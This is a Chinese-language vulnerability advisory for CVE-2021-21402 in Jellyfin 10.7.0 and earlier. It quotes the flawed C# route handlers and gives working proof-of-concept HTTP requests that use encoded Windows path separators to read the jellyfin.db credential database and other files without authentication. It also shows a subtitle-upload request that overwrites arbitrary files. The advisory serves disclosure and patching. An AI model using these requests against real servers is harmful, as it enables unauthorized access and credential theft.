Jellyfin未授权任意文件读取 - CVE-2021-21402

漏洞披露时间线

- 2021-03-19: 向官方报告了该问题。
- 2021-03-22: 发布包含修复程序版本10.7.1。

概要

Jellyfin允许读取未经身份验证的任意文件。

影响产品

Jellyfin

测试版本

10.7.0及之前版本

细节

问题 1: `/Audio/itemId/hls/segmentId/stream.mp3`和`/Audio/itemId/hls/segmentId/stream.aac`未授权任意文件读取

针对Windows系统，在`/Audio/{Id}/hls/{segmentId}/stream.mp3`和`/Audio/{Id}/hls/{segmentId}/stream.aac`这两个路径中，存在未经验证的任意文件读取[1]。可以使用Windows路径分割符（URL编码为%5c）将路由的{segmentId}部分设置为相对或绝对路径。最开始，攻击者似乎只能读取以`.mp3`和`.aac`[2]结尾的文件，但是，通过在URL路径中使用斜杠，可以使`Path.GetExtension（Request.Path）`返回空扩展名，从而获得对目标文件路径的完全控制， itemId在整个流程中并没有被使用。该问题不仅限于Jellyfin文件，还能够从文件系统读取任何文件。

```
// 由于看到一些来自Chrome的请求而没有完整的查询字符串，因此目前尚无法进行身份验证
// [Authenticated] // [1]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.mp3", Name =
"GetHlsAudioSegmentLegacyMp3")]
[HttpGet("Audio/{itemId}/hls/{segmentId}/stream.aac", Name =
"GetHlsAudioSegmentLegacyAac")]
//...
public ActionResult GetHlsAudioSegmentLegacy([FromRoute, Required] string itemId,
[FromRoute, Required] string segmentId)
{
    // TODO：不推荐使用新的iOS应用
    var file = segmentId + Path.GetExtension(Request.Path); //[2]
    file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);

    return FileStreamResponseHelpers.GetStaticFileResult(file,
MimeTypes.GetMimeType(file)!, false, HttpContext);
}
```

例如，以下请求将从服务器上下载jellyfin.db数据库和密码：

```
GET /Audio/anything/hls/..%5Cdata%5Cjellyfin.db/stream.mp3/ HTTP/1.1
```

影响

此问题可能导致未经授权的系统访问，尤其是当Jellyfin配置为可从Internet访问时。

问题 2: `/Videos/Id/hls/PlaylistId/SegmentId.SegmentContainer`未授权任意文件读取

`/Videos/{Id}/hls/{PlaylistId}/{SegmentId}.{SegmentContainer}`路由允许在Windows上读取未经身份验证的任意文件[1]。可以使用Windows路径分隔符（URL编码为%5C）将路由的`{SegmentId}.{SegmentContainer}`部分设置为相对或绝对路径。来自Path的`SegmentId`和文件扩展名是串联的[2]。生成的文件用作`Path.Combine`[3]的第二个参数。但是，如果第二个参数是绝对路径，则`Path.Combine`的第一个参数将被忽略，并且生成的路径仅是绝对路径文件。

攻击的先决条件是`jellyfin/transcodes`目录包含至少一个.m3u8文件[4]（即，某些用户开始流式传输视频，或者自上次流式传输以来一直保留在那里）。 itemId并没有被使用，并且PlaylistId必须是m3u8文件的子字符串。它可以仅仅是`m`，因为它始终位于* .m3u8文件名中

```
// 由于看到一些来自Chrome的请求而没有完整的查询字符串，因此目前尚无法进行身份验证
// [Authenticated] //[1]
[HttpGet("Videos/{itemId}/hls/{playlistId}/{segmentId}.{segmentContainer}")]
//...
public ActionResult GetHlsVideoSegmentLegacy(
    [FromRoute, Required] string itemId,
    [FromRoute, Required] string playlistId,
    [FromRoute, Required] string segmentId,
    [FromRoute, Required] string segmentContainer)
{
    var file = segmentId + Path.GetExtension(Request.Path); //[2]
    var transcodeFolderPath = _serverConfigurationManager.GetTranscodePath();

    file = Path.Combine(transcodeFolderPath, file); //[3]

    var normalizedPlaylistId = playlistId;

    var filePaths = _fileSystem.GetFilePaths(transcodeFolderPath);
    // 添加.来分割容器供之后使用
    segmentContainer = segmentContainer.Insert(0, ".");
    string? playlistPath = null;
    foreach (var path in filePaths)
    {
        var pathExtension = Path.GetExtension(path);
        if ((string.Equals(pathExtension, segmentContainer,
StringComparison.OrdinalIgnoreCase)
                || string.Equals(pathExtension, ".m3u8",
StringComparison.OrdinalIgnoreCase)) //[4]
            && path.IndexOf(normalizedPlaylistId,
StringComparison.OrdinalIgnoreCase) != -1) //[5]
        {
            playlistPath = path;
            break;
```

```
        }
    }

    return playlistPath == null
        ? NotFound("Hls segment not found.")
        : GetFileResult(file, playlistPath);
}
```

PoC:

```
GET /Videos/anything/hls/m/..%5Cdata%5Cjellyfin.db HTTP/1.1
```

影响

此问题可能导致未经授权的系统访问，尤其是当Jellyfin配置为可从Internet访问时。

问题 3: `/Videos/Id/hls/PlaylistId/stream.m3u8` 已授权的任意文件读取

`/Videos/{Id}/hls/{PlaylistId}/stream.m3u8` 允许在Windows上读取任意文件。在这种情况下，它需要身份验证。攻击者似乎只能读取以.m3u8 [1]结尾的文件。但是，通过在URL路径中使用斜杠，可以使 `Path.GetExtension（Request.Path）` 返回空扩展名，从而获得对结果文件路径的完全控制。itemId并没有被使用。

```
[HttpGet("Videos/{itemId}/hls/{playlistId}/stream.m3u8")]
[Authorize(Policy = Policies.DefaultAuthorization)]
//...
public ActionResult GetHlsPlaylistLegacy([FromRoute, Required] string itemId,
[FromRoute, Required] string playlistId)
{
    var file = playlistId + Path.GetExtension(Request.Path); //[1]
    file = Path.Combine(_serverConfigurationManager.GetTranscodePath(), file);

    return GetFileResult(file, file);
}
```

PoC:

```
GET /Videos/anything/hls/..%5Cdata%5Cjellyfin.db/stream.m3u8/?
api_key=4c5750626da14b0a804977b09bf3d8f7 HTTP/1.1
```

影响

此问题可能导致权限提升。

问题 4: `/Images/Ratings/theme/name`, `/Images/MediaInfo/theme/name` 和 `Images/General/name/type`未授权任意图像文件读取

`/Images/Ratings/{theme}/{name}`, `/Images/MediaInfo/{theme}/{name}` 和 `/Images/General/{name}/{type}` 路由允许在Windows上读取未经身份验证的任意图像文件。可以使用Windows路径分隔符（对URL进行编码时为%5C）将路径的 `{theme}` [1]或 `{name}` [2]部分设置为相对或绝对路径。该路由会自动附加以下允许的扩展名，因此只能读取图像文件[3]： `.png`, `.jpg`, `.jpeg`, `.tbn`, `.gif`。

```
[HttpGet("MediaInfo/{theme}/{name}")]
[AllowAnonymous]
//...
public ActionResult GetMediaInfoImage(
    [FromRoute, Required] string theme,
    [FromRoute, Required] string name)
{
    return GetImageFile(_applicationPaths.MediaInfoImagesPath, theme, name);
}
//...
private ActionResult GetImageFile(string basePath, string theme, string? name)
{
    var themeFolder = Path.Combine(basePath, theme); //[1]
    if (Directory.Exists(themeFolder))
    {
        var path = BaseItem.SupportedImageExtensions.Select(i =>
Path.Combine(themeFolder, name + i)/*[2]*/) //[3]
            .FirstOrDefault(System.IO.File.Exists);

        if (!string.IsNullOrEmpty(path) && System.IO.File.Exists(path))
        {
            var contentType = MimeTypes.GetMimeType(path);
            return PhysicalFile(path, contentType);
        }
    }
```

PoCs： 下载 `c:\temp\filename.jpg`:

```
GET /Images/Ratings/c:%5ctemp/filename HTTP/1.1
GET /Images/Ratings/..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5ctemp/filename
HTTP/1.1
```

影响

此问题可能导致未授权访问图像文件，尤其是在将Jellyfin配置为可从Internet访问时。

问题 5: `/Videos/itemId/Subtitles`经身份验证的文件上传（不限于Windows）

`Videos/{itemId}/Subtitles` 允许高级用户覆盖任意文件。由于它需要管理员权限，因此尚不清楚它是否跨越安全边界。

PoC:

```
POST /Videos/d7634eb0064cce760f3f0bf8282c16cd/Subtitles HTTP/1.1
...
X-Emby-Authorization: MediaBrowser DeviceId="...", Version="10.7.0", Token="..."
...

{"language":".\\..\\","format":".\\..\\test.bin","isForced":false,"data":"base64
encoded data"}
```

影响

此问题可能导致验证后的任意远程代码执行。

CVE

- CVE-2021-21402